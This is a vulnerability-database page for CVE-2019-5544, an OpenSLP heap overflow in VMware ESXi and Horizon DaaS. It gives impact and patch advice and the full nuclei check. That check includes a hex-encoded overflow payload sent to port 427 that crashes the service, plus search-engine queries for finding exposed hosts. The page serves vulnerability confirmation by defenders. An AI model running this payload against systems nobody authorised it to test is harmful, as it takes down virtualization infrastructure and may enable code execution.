HexBrain

Browse / CVEs / CVE-2019-5544

CVE-2019-5544· vmware / horizon daas· CWE-787

VMware ESXi SLP - Heap Overflow DoS

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
98.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

OpenSLP as used in ESXi and the Horizon DaaS appliances has a heap overwrite issue. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.

Impact

Unauthenticated attackers can exploit heap overflow in OpenSLP implementation on ESXi and Horizon DaaS appliances to cause denial of service or potentially execute arbitrary code on VMware infrastructure servers.

Fix

Apply VMware security patches that address the OpenSLP heap overflow vulnerability in ESXi and Horizon DaaS appliances as documented in VMware security advisories.

How to confirm it

Send: tcp probe to {{Hostname}}
Positive when: len(data) > 0
Send: tcp probe to {{Hostname}}
Send: tcp probe to {{Hostname}}
Positive when: len(data) == 0

Run it with nuclei: nuclei -id CVE-2019-5544 -u <target>

The full check
id: CVE-2019-5544

info:
  name: VMware ESXi SLP - Heap Overflow DoS
  author: riteshs4hu
  severity: critical
  description: |
    OpenSLP as used in ESXi and the Horizon DaaS appliances has a heap overwrite issue. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.
  impact: |
    Unauthenticated attackers can exploit heap overflow in OpenSLP implementation on ESXi and Horizon DaaS appliances to cause denial of service or potentially execute arbitrary code on VMware infrastructure servers.
  remediation: |
    Apply VMware security patches that address the OpenSLP heap overflow vulnerability in ESXi and Horizon DaaS appliances as documented in VMware security advisories.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-5544
    - https://github.com/dgh05t/VMware_ESXI_OpenSLP_PoCs
    - http://www.openwall.com/lists/oss-security/2019/12/10/2
    - http://www.openwall.com/lists/oss-security/2019/12/11/2
    - https://access.redhat.com/errata/RHSA-2019:4240
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-5544
    cwe-id: CWE-787
    epss-score: 0.98129
    epss-percentile: 0.99912
    cpe: cpe:2.3:a:vmware:horizon_daas:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: vmware
    product: horizon_daas
    shodan-query: http.title:"horizon daas"
    fofa-query: title="horizon daas"
    google-query: intitle:"horizon daas"
  tags: cve,cve2019,vmware,esxi,heap-based,bufferoverflow,kev,dos,intrusive,vkev,vuln

flow: |
  if (tcp(1)) {
    tcp(2);
    tcp(3);
  }

tcp:
  # Step 1: Verify OpenSLP is actually running by sending a valid SLP ServiceType request
  - inputs:
      - data: "0201000047000000000000000002656e000a31323334353637383930001c736572766963653a564d77617265496e667261737472756374757265000764656661756c7400000000"
        type: hex

    host:
      - "{{Hostname}}"
    port: 427

    matchers:
      - type: dsl
        internal: true
        dsl:
          - "len(data) > 0"

  # Step 2: Send heap overflow payload to crash OpenSLP
  - inputs:
      - data: "020300105e0000000000660d0002656e0010000014687474703a2f2f7777772e62616964752e636f6d0100001000010101010ff6797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979797979001c736572766963653a564d77617265496e667261737472756374757265000764656661756c74000a7070707070707070707000"
        type: hex

    host:
      - "{{Hostname}}"
    port: 427

  # Step 3: Re-query OpenSLP — if the service crashed, we get no response
  - inputs:
      - data: "0201000047000000000000000002656e000a31323334353637383930001c736572766963653a564d77617265496e667261737472756374757265000764656661756c7400000000"
        type: hex

    host:
      - "{{Hostname}}"
    port: 427

    matchers:
      - type: dsl
        dsl:
          - "len(data) == 0"

References

Use this check only on systems you are authorised to test. Where the data comes from